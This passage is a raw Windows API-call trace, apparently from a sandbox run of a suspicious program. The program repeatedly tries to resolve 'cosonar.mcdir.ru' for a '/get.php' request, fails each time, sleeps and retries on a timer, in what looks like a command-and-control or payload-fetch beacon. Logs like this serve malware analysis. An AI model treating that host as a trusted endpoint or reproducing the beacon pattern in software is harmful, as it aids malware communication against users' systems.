lpSystemTimeAsFileTime=0x358f0f0 | out: lpSystemTimeAsFileTime=0x358f0f0*(dwLowDateTime=0x2b27b091, dwHighDateTime=0x1d43869)) [0214.474] GetLastError () returned 0x0 [0214.474] SetLastError (dwErrCode=0x0) [0214.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f0f8 | out: lpSystemTimeAsFileTime=0x358f0f8*(dwLowDateTime=0x2b27b091, dwHighDateTime=0x1d43869)) [0214.474] GetLastError () returned 0x0 [0214.474] SetLastError (dwErrCode=0x0) [0214.474] InterlockedExchangeAdd (in: Addend=0xc9059c, Value=0 | out: Addend=0xc9059c) returned 0 [0214.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f038 | out: lpSystemTimeAsFileTime=0x358f038*(dwLowDateTime=0x2b27b091, dwHighDateTime=0x1d43869)) [0214.474] GetLastError () returned 0x0 [0214.474] SetLastError (dwErrCode=0x0) [0214.474] SetWaitableTimer (hTimer=0x30c, lpDueTime=0x358f088, lPeriod=300000, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0214.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc94d28, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0214.474] InterlockedExchangeAdd (in: Addend=0x139a548, Value=0 | out: Addend=0x139a548) returned 0 [0214.475] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0214.475] VerifyVersionInfoW (in: lpVersionInformation=0x358ed88, dwTypeMask=0x2, dwlConditionMask=0x18 | out: lpVersionInformation=0x358ed88) returned 1 [0214.475] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x254 [0214.475] WSASetLastError (iError=0) [0214.475] getaddrinfo (in: pNodeName="cosonar.mcdir.ru", pServiceName="http", pHints=0x358f0e8*(ai_flags=1024, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x358efb0 | out: ppResult=0x358efb0*=0x0) returned 11001 [0214.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/get.php", cchWideChar=-1, lpMultiByteStr=0xc89310, cbMultiByte=1032, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/get.php", lpUsedDefaultChar=0x0) returned 9 [0214.479] GetLastError () returned 0x2af9 [0214.479] SetLastError (dwErrCode=0x2af9) [0214.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc948e0, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0214.479] GetLastError () returned 0x2af9 [0214.479] SetLastError (dwErrCode=0x2af9) [0214.479] GetLastError () returned 0x2af9 [0214.479] SetLastError (dwErrCode=0x2af9) [0214.479] GetLastError () returned 0x2af9 [0214.479] SetLastError (dwErrCode=0x2af9) [0214.479] GetLastError () returned 0x2af9 [0214.479] SetLastError (dwErrCode=0x2af9) [0214.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/get.php", cchWideChar=-1, lpMultiByteStr=0xc89310, cbMultiByte=1032, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/get.php", lpUsedDefaultChar=0x0) returned 9 [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc91e10, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc7ee28, cbMultiByte=-1, lpWideCharStr=0xc95d68, cchWideChar=1027 | out: lpWideCharStr="end") returned 4 [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] GetLastError () returned 0x2af9 [0214.480] SetLastError (dwErrCode=0x2af9) [0214.480] GetLastError () returned 0x2af9 [0214.481] SetLastError (dwErrCode=0x2af9) [0214.481] GetLastError () returned 0x2af9 [0214.481] SetLastError (dwErrCode=0x2af9) [0214.481] FormatMessageA (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2af9, dwLanguageId=0x400, lpBuffer=0x358f110, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xf0\x6c\xc6") returned 0x18 [0214.481] LocalFree (hMem=0xc66cf0) returned 0x0 [0214.481] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x358f148) [0214.481] GetLastError () returned 0x2af9 [0214.481] SetLastError (dwErrCode=0x2af9) [0214.481] RtlUnwind (TargetFrame=0x358fad0, TargetIp=0x12763b1, ExceptionRecord=0x358eb08, ReturnValue=0x0) [0214.481] GetLastError () returned 0x2af9 [0214.481] SetLastError (dwErrCode=0x2af9) [0214.481] InterlockedExchangeAdd (in: Addend=0xc9059c, Value=0 | out: Addend=0xc9059c) returned 0 [0214.481] PostQueuedCompletionStatus (CompletionPort=0x260, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0xc90a08) returned 1 [0214.481] PostQueuedCompletionStatus (CompletionPort=0x254, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0214.481] InterlockedExchangeAdd (in: Addend=0xc89dc8, Value=0 | out: Addend=0xc89dc8) returned 0 [0214.481] CloseHandle (hObject=0x254) returned 1 [0214.482] SetWaitableTimer (hTimer=0x30c, lpDueTime=0x358e810, lPeriod=1, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0214.482] InterlockedExchangeAdd (in: Addend=0xc90590, Value=0 | out: Addend=0xc90590) returned 1 [0214.482] GetQueuedCompletionStatus (in: CompletionPort=0x260, lpNumberOfBytesTransferred=0x358e81c, lpCompletionKey=0x358e820, lpOverlapped=0x358e80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x358e81c, lpCompletionKey=0x358e820, lpOverlapped=0x358e80c) returned 1 [0214.482] InterlockedExchangeAdd (in: Addend=0xc90590, Value=0 | out: Addend=0xc90590) returned 0 [0214.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0x358e7d0*=0x258, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0214.482] CloseHandle (hObject=0x258) returned 1 [0214.482] InterlockedExchangeAdd (in: Addend=0x139a49c, Value=0 | out: Addend=0x139a49c) returned 0 [0214.482] QueueUserAPC (pfnAPC=0x111bb70, hThread=0x25c, dwData=0x0) returned 0x1 [0214.482] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0xffffffff) returned 0x0 [0214.483] CloseHandle (hObject=0x30c) returned 1 [0214.483] CloseHandle (hObject=0x25c) returned 1 [0214.483] CloseHandle (hObject=0x260) returned 1 [0214.483] GetLastError () returned 0x0 [0214.483] SetLastError (dwErrCode=0x0) [0214.483] GetLastError () returned 0x0 [0214.483] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc8a888, cbMultiByte=-1, lpWideCharStr=0xc88720, cchWideChar=1058 | out: lpWideCharStr="No such host is known; code: 11001") returned 35 [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.484] SetLastError (dwErrCode=0x0) [0214.484] GetLastError () returned 0x0 [0214.485] SetLastError (dwErrCode=0x0) [0214.485] timeGetTime () returned 0x3bdd3 [0214.485] timeGetTime () returned 0x3bdd3 [0214.485] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0214.485] Sleep (dwMilliseconds=0x64) [0214.594] timeGetTime () returned 0x3be40 [0214.594] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0214.594] Sleep (dwMilliseconds=0x64) [0214.705] timeGetTime () returned 0x3beae [0214.705] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0214.705] Sleep (dwMilliseconds=0x64) [0214.813] timeGetTime () returned 0x3bf1b [0214.813] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0214.813] Sleep (dwMilliseconds=0x64) [0214.924] timeGetTime () returned 0x3bf89 [0214.924] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0214.924] Sleep (dwMilliseconds=0x64) [0215.032] timeGetTime () returned 0x3bff6 [0215.032] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0215.032] Sleep (dwMilliseconds=0x64) [0215.141] timeGetTime () returned 0x3c063 [0215.141] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0215.141] Sleep (dwMilliseconds=0x64) [0215.251] timeGetTime () returned 0x3c0d1 [0215.251] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0215.251] Sleep (dwMilliseconds=0x64) [0215.360] timeGetTime () returned 0x3c13e [0215.360] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0215.360] Sleep (dwMilliseconds=0x64) [0215.469] timeGetTime () returned 0x3c1ab [0215.469] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0215.469] Sleep (dwMilliseconds=0x64) [0215.579] timeGetTime () returned 0x3c219 [0215.579] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0215.579] Sleep (dwMilliseconds=0x64) [0215.704] timeGetTime () returned 0x3c296 [0215.704] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0215.704] Sleep (dwMilliseconds=0x64) [0215.813] timeGetTime () returned 0x3c303 [0215.813] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0215.813] Sleep (dwMilliseconds=0x64) [0215.922] timeGetTime () returned 0x3c370 [0215.922] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0215.922] Sleep (dwMilliseconds=0x64) [0216.385] timeGetTime () returned 0x3c536 [0216.385] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0216.385] Sleep (dwMilliseconds=0x64) [0216.500] timeGetTime () returned 0x3c5b3 [0216.500] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0216.500] Sleep (dwMilliseconds=0x64) [0216.610] timeGetTime () returned 0x3c620 [0216.610] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0216.610] Sleep (dwMilliseconds=0x64) [0216.719] timeGetTime () returned 0x3c68d [0216.719] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0216.719] Sleep (dwMilliseconds=0x64) [0216.829] timeGetTime () returned 0x3c6fb [0216.829] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0216.829] Sleep (dwMilliseconds=0x64) [0216.938] timeGetTime () returned 0x3c768 [0216.938] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0216.938] Sleep (dwMilliseconds=0x64) [0218.822] timeGetTime () returned 0x3cebb [0218.822] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0218.822] Sleep (dwMilliseconds=0x64) [0218.938] timeGetTime () returned 0x3cf38 [0218.938] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0218.938] Sleep (dwMilliseconds=0x64) [0219.052] timeGetTime () returned 0x3cfa5 [0219.052] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0219.052] Sleep (dwMilliseconds=0x64) [0219.156] timeGetTime () returned 0x3d013 [0219.156] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0219.156] Sleep (dwMilliseconds=0x64) [0219.266] timeGetTime () returned 0x3d080 [0219.266] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0219.266] Sleep (dwMilliseconds=0x64) [0219.375] timeGetTime () returned 0x3d0ee [0219.375] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0219.375] Sleep (dwMilliseconds=0x64) [0219.485] timeGetTime () returned 0x3d15b [0219.485] GetLastError () returned 0x0 [0219.485] SetLastError (dwErrCode=0x0) [0219.485] GetLastError () returned 0x0 [0219.485] SetLastError (dwErrCode=0x0) [0219.485] GetLastError () returned 0x0 [0219.485] SetLastError (dwErrCode=0x0) [0219.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc7eba8, cbMultiByte=-1, lpWideCharStr=0xc88720, cchWideChar=1029 | out: lpWideCharStr="start") returned 6 [0219.485] InterlockedExchangeAdd (in: Addend=0x139a548, Value=0 | out: Addend=0x139a548) returned 0 [0219.485] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0219.485] VerifyVersionInfoW (in: lpVersionInformation=0x358ef58, dwTypeMask=0x2, dwlConditionMask=0x18 | out: lpVersionInformation=0x358ef58) returned 1 [0219.485] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x260 [0219.485] CreateWaitableTimerW (lpTimerAttributes=0x0, bManualReset=0, lpTimerName=0x0) returned 0x25c [0219.485] SetWaitableTimer (hTimer=0x25c, lpDueTime=0x358f058, lPeriod=300000, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0219.486] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x30c [0219.486] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x258 [0219.486] GetLastError () returned 0x0 [0219.486] SetLastError (dwErrCode=0x0) [0219.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x12756f6, lpParameter=0xc88f38, dwCreationFlags=0x0, lpThreadId=0x358f008 | out: lpThreadId=0x358f008*=0x57c) returned 0x254 [0219.486] WaitForSingleObject (hHandle=0x30c, dwMilliseconds=0xffffffff) returned 0x0 [0219.486] CloseHandle (hObject=0x30c) returned 1 [0219.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f0f0 | out: lpSystemTimeAsFileTime=0x358f0f0*(dwLowDateTime=0x2e24d1bd, dwHighDateTime=0x1d43869)) [0219.486] GetLastError () returned 0x0 [0219.486] SetLastError (dwErrCode=0x0) [0219.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f0f8 | out: lpSystemTimeAsFileTime=0x358f0f8*(dwLowDateTime=0x2e24d1bd, dwHighDateTime=0x1d43869)) [0219.487] GetLastError () returned 0x0 [0219.487] SetLastError (dwErrCode=0x0) [0219.487] InterlockedExchangeAdd (in: Addend=0xc95604, Value=0 | out: Addend=0xc95604) returned 0 [0219.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f038 | out: lpSystemTimeAsFileTime=0x358f038*(dwLowDateTime=0x2e24d1bd, dwHighDateTime=0x1d43869)) [0219.487] GetLastError () returned 0x0 [0219.487] SetLastError (dwErrCode=0x0) [0219.487] SetWaitableTimer (hTimer=0x25c, lpDueTime=0x358f088, lPeriod=300000, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0219.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc94d28, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0219.487] InterlockedExchangeAdd (in: Addend=0x139a548, Value=0 | out: Addend=0x139a548) returned 0 [0219.487] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0219.487] VerifyVersionInfoW (in: lpVersionInformation=0x358ed88, dwTypeMask=0x2, dwlConditionMask=0x18 | out: lpVersionInformation=0x358ed88) returned 1 [0219.487] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x30c [0219.487] WSASetLastError (iError=0) [0219.487] getaddrinfo (in: pNodeName="cosonar.mcdir.ru", pServiceName="http", pHints=0x358f0e8*(ai_flags=1024, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x358efb0 | out: ppResult=0x358efb0*=0x0) returned 11001 [0219.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/get.php", cchWideChar=-1, lpMultiByteStr=0xc89310, cbMultiByte=1032, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/get.php", lpUsedDefaultChar=0x0) returned 9 [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc926a0, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/get.php", cchWideChar=-1, lpMultiByteStr=0xc89310, cbMultiByte=1032, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/get.php", lpUsedDefaultChar=0x0) returned 9 [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc94d28, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.491] GetLastError () returned 0x2af9 [0219.491] SetLastError (dwErrCode=0x2af9) [0219.492] GetLastError () returned 0x2af9 [0219.492] SetLastError (dwErrCode=0x2af9) [0219.492] GetLastError () returned 0x2af9 [0219.492] SetLastError (dwErrCode=0x2af9) [0219.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc7ec28, cbMultiByte=-1, lpWideCharStr=0xc95d68, cchWideChar=1027 | out: lpWideCharStr="end") returned 4 [0219.492] GetLastError () returned 0x2af9 [0219.492] SetLastError (dwErrCode=0x2af9) [0219.492] GetLastError () returned 0x2af9 [0219.492] SetLastError (dwErrCode=0x2af9) [0219.492] GetLastError () returned 0x2af9 [0219.492] SetLastError (dwErrCode=0x2af9) [0219.492] GetLastError () returned 0x2af9 [0219.492] SetLastError (dwErrCode=0x2af9) [0219.492] FormatMessageA (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2af9, dwLanguageId=0x400, lpBuffer=0x358f110, nSize=0x0, Arguments=0x0 | out: lpBuffer="xlÆ") returned 0x18 [0219.492] LocalFree (hMem=0xc66c78) returned 0x0 [0219.492] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x358f148) [0219.492] GetLastError () returned 0x2af9 [0219.492] SetLastError (dwErrCode=0x2af9) [0219.492] RtlUnwind (TargetFrame=0x358fad0, TargetIp=0x12763b1, ExceptionRecord=0x358eb08, ReturnValue=0x0) [0219.492] GetLastError () returned 0x2af9 [0219.492] SetLastError (dwErrCode=0x2af9) [0219.492] InterlockedExchangeAdd (in: Addend=0xc95604, Value=0 | out: Addend=0xc95604) returned 0 [0219.492] PostQueuedCompletionStatus (CompletionPort=0x260, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0xc90ab0) returned 1 [0219.492] PostQueuedCompletionStatus (CompletionPort=0x30c, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0219.493] InterlockedExchangeAdd (in: Addend=0xc95730, Value=0 | out: Addend=0xc95730) returned 0 [0219.493] CloseHandle (hObject=0x30c) returned 1 [0219.493] SetWaitableTimer (hTimer=0x25c, lpDueTime=0x358e810, lPeriod=1, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0219.493] InterlockedExchangeAdd (in: Addend=0xc955f8, Value=0 | out: Addend=0xc955f8) returned 1 [0219.493] GetQueuedCompletionStatus (in: CompletionPort=0x260, lpNumberOfBytesTransferred=0x358e81c, lpCompletionKey=0x358e820, lpOverlapped=0x358e80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x358e81c, lpCompletionKey=0x358e820, lpOverlapped=0x358e80c) returned 1 [0219.493] InterlockedExchangeAdd (in: Addend=0xc955f8, Value=0 | out: Addend=0xc955f8) returned 0 [0219.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0x358e7d0*=0x258, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0219.493] CloseHandle (hObject=0x258) returned 1 [0219.493] InterlockedExchangeAdd (in: Addend=0x139a49c, Value=0 | out: Addend=0x139a49c) returned 0 [0219.493] QueueUserAPC (pfnAPC=0x111bb70, hThread=0x254, dwData=0x0) returned 0x1 [0219.493] WaitForSingleObject (hHandle=0x254, dwMilliseconds=0xffffffff) returned 0x0 [0219.494] CloseHandle (hObject=0x25c) returned 1 [0219.494] CloseHandle (hObject=0x254) returned 1 [0219.494] CloseHandle (hObject=0x260) returned 1 [0219.494] GetLastError () returned 0x0 [0219.494] SetLastError (dwErrCode=0x0) [0219.494] GetLastError () returned 0x0 [0219.494] SetLastError (dwErrCode=0x0) [0219.494] GetLastError () returned 0x0 [0219.494] SetLastError (dwErrCode=0x0) [0219.494] GetLastError () returned 0x0 [0219.494] SetLastError (dwErrCode=0x0) [0219.494] GetLastError () returned 0x0 [0219.494] SetLastError (dwErrCode=0x0) [0219.494] GetLastError () returned 0x0 [0219.494] SetLastError (dwErrCode=0x0) [0219.494] GetLastError () returned 0x0 [0219.494] SetLastError (dwErrCode=0x0) [0219.494] GetLastError () returned 0x0 [0219.494] SetLastError (dwErrCode=0x0) [0219.494] GetLastError () returned 0x0 [0219.494] SetLastError (dwErrCode=0x0) [0219.494] GetLastError () returned 0x0 [0219.495] SetLastError (dwErrCode=0x0) [0219.495] GetLastError () returned 0x0 [0219.495] SetLastError (dwErrCode=0x0) [0219.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc8a548, cbMultiByte=-1, lpWideCharStr=0xc88720, cchWideChar=1058 | out: lpWideCharStr="No such host is known; code: 11001") returned 35 [0219.495] GetLastError () returned 0x0 [0219.495] SetLastError (dwErrCode=0x0) [0219.495] GetLastError () returned 0x0 [0219.495] SetLastError (dwErrCode=0x0) [0219.495] GetLastError () returned 0x0 [0219.495] SetLastError (dwErrCode=0x0) [0219.495] GetLastError () returned 0x0 [0219.495] SetLastError (dwErrCode=0x0) [0219.495] GetLastError () returned 0x0 [0219.495] SetLastError (dwErrCode=0x0) [0219.495] timeGetTime () returned 0x3d15b [0219.495] timeGetTime () returned 0x3d15b [0219.495] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0219.495] Sleep (dwMilliseconds=0x64) [0219.610] timeGetTime () returned 0x3d1d8 [0219.610] PeekMessageW (in: lpMsg=0x358f13c, 